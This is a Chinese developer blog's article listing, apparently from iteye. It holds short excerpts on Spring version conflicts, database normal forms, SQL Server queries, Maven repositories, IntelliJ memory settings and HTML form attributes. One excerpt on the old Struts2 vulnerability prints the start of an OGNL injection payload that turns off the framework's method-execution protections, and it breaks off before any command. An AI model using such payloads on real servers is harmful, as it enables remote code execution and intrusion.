- 浏览: 576094 次
- 性别:
- 来自: 北京
最新评论
-
jpsb:
多谢楼主,问题解决,主要就是svn版本不同导致的
Eclipse 导入本地svn项目的问题 -
yycdaizi:
lanmolsz 写道无法同意楼主的说法,楼主所谓的晚捕捉就是 ...
Java异常处理原则 -
lanmolsz:
无法同意楼主的说法,楼主所谓的晚捕捉就是典型的让异常控制程序的 ...
Java异常处理原则 -
cici_new_1987:
...
Java异常处理原则 -
雁行:
倒是怀疑这个功能来着
Eclipse 导入本地svn项目的问题
文章列表
在连接Mysql数据库后,查询时报错:
The last packet sent successfully to the server was 0 milliseconds ago.
后经过分析,发现是引入了第三方包中依赖了spring包的2.5.6版本,和原先项目中的spring版本冲突,但是Mybatis需要spring3以上版本的支持。
据库表结构设计时,遵从一定的范式(NF,Noraml Form)可以减少数据冗余和操作异常。
第一范式(1NF)
1NF指的是每个属性值都是不可再分的。
满足1NF的关系被称为规范化的关系,1NF也是关系模式应具备的最起码的条件。
比如 ...
Strusts2的低版本漏洞相信大家都知道了,前几天的时候尝试了一下,果然危害极大
其实不用知道太多,我们只需要知道
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(( ...
查询统计用户表的记录数大小的常用SQL
SELECT a.name, b.rows FROM sysobjects(NOLOCK) as a
JOIN sysindexes(NOLOCK) as b ON b.id = a.id
WHERE a.xtype = 'U ' AND b.indid IN (0, 1) ORDER By b.rows DESC
查询单个表记录数
SELECT a.name, b.rows FROM sysob ...
简介
数据库快照,正如其名称所示那样,是数据库在某一时间点的视图。是SQL Server在2005之后的版本引入的特性。快照的应用场景比较多,但快照设计最开始的目的是为了报表服务。比如我需要出2011的资产负债表,这需要数据保持在2011年12月31日零点时的状态,则利用快照可以实现这一点。快照还可以和镜像结合来达到读写分离的目的。下面我们来看什么是快照。
什么是快照
数据库快照是 SQL Server 数据库(源数据库)的只读静态视图。换句话说,快照可以理解为一个只读的数据库。利用快照,可以提供如下好处:
提供了一个静态的视图来为报表提供服务
...
1. 如何产生 java heap dump
当 JVM中对象过多, java堆( java heap)耗尽时,就会产生 java heap dump文件。另外,可以使用工具或命令显示地产生该文件。在命令行中程序执行过程中按 ctrl+break可以产生,使用工 ...
转载自:http://sailinglee.iteye.com/blog/598908
Spring 事务属性分析
事务管理对于企业应用而言至关重要。它保证了用户的每一次操作都是可靠的,即便出现了异常的访问情况,也不至于破坏后台数据的完整性。就像银行的自 助取款机,通常都能正常为客户服务,但是也难免遇到操作过程中机器突然出故障的情况,此时,事务就必须确保出故障前对账户的操作不生效,就像用户刚才完全 没有使用过取款机一样,以保证用户和银行的利益都不受损失。
在 Spring 中,事务是通过 TransactionDefinition 接口来定义的。该接口包含与事务属性有关的方法。 ...
根据Maven的相关资料,我们可以很清楚的了解到,仓库只分为两类:本地仓库和远程仓库。当maven根据坐标寻找构件的时候,它首先会查看本地仓库,如果本地仓库存在此构件,则直接使用;如果本地仓库不存在此构件,或者需要查看是否有更新的构件版本,maven就会去远程仓库查找,发现需要的构件之后,下载到本地仓库再使用。如果本地仓库和远程仓库都没有需要的构件,maven就会报错。
根据以上原则,如果两个项目间有依赖关系,例如项目A依赖于项目B,可以先利用Maven的install命令将项目B打包安装到本地仓库,此时A对于B的依赖已经存在于本地仓库,直接在项目A中增加对B的modul ...
maven3实战之仓库(maven仓库分类)
- 博客分类:
- Maven
转载自:http://fhd001.iteye.com/blog/1187157对于maven来说,仓库只分为两类:本地仓库和远程仓库。当maven根据坐标寻找构件的时候,它首先会查看本地仓库,如果本地仓库存在此构件,则直接使用;如果本地仓库不存在此构件,或者 ...
Spring防止重复ID命名
- 博客分类:
- Java
1、同一个spring配置文件不允许重复ID,这个不需要额外的配置;
2、不同的文件中默认情况下,允许重 复ID,不报错;
3、想解决不同文件中重复ID的问题,参考以下文章;
http://blog.csdn.net/mozhenghua/article/details/5680444
Intellij内存不足的问题
- 博客分类:
- Intellij
前一阵子Intellij报错:java.lang.OutOfMemoryError:JAva heap space,在网上google了一把,发现大多数的解决方案是修改Intellij的配置文件(idea.exe.vmpptions):
vmsettings options are:
-Xms128m
-Xmx700m
-XX:MaxPermSize=250m
-XX:ReservedCodeCacheSize=64m
tomcat are:
-Xms64m -Xmx256m
但是即使我修改了配置之后,错误依然存在,后来想想是不 ...
SQLServer字典数据统计SQL
- 博客分类:
- 数据库相关
SELECT
表名=case when a.colorder=1 then d.name else '' end,
表说明=case when a.colorder=1 then isnull(f.value,'') else '' end,
字段序号=a.colorder,
字段名=a.name,
标识=case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end,
主键=case when exist ...
disabled和readonly的区别
- 博客分类:
- web
转载自:http://ouanui.iteye.com/blog/706409
readonly 不可编辑,可以获得焦点,背景颜色默认灰色,值的字体颜色默认为灰色,值可以在请求中传递 disabled 不可编辑,不可以获得焦点,背景颜色默认灰色,值的字体颜色默认为灰色,值不可以在请求中传递; 为了使值不可修改,但显示为disabled的样式,且可以在请求中传递,则可以通过采用readonly,修改字体颜色来实现
<html>
<form>
<input name="1" type="text" size=&qu ...
本文转载自:http://space.itpub.net/26308209/viewspace-720723
当两个Web组件之间为转发关系时,转发源会将要共享 request范围内的数据先用setAttribute将数据放入到HttpServletRequest对象中,然后转发目标通过getAttribute方法来取得要共享的数据。而MVC中用的就是Web组件之间的转发。下面整理一下getParameter和getAttribute的区别和各自的使用范围。
(1)HttpServletRequest类有setAttribute()方法,而没有setParameter()方法
(2)g ...
最近偶然发现项目中有个后台请求在IE7、8下一切正常,而在IE9、chrome等浏览器下则总是报出异常,经过debug之后发现,竟然是jQuery的clone方法在复制select对象的时候,在IE9和chrome浏览器下会出现无法复制数据的问题。具体信息参考:http://stackoverflow.com/questions/742810/clone-isnt-cloning-select-values
最后我只好通过URL传递参数的方式将该对象的值传递到后台来解决这个问题(目前我们使用的版本是jQuery-1.4.2版本),不知道jQuery以后的版本是否解决了 ...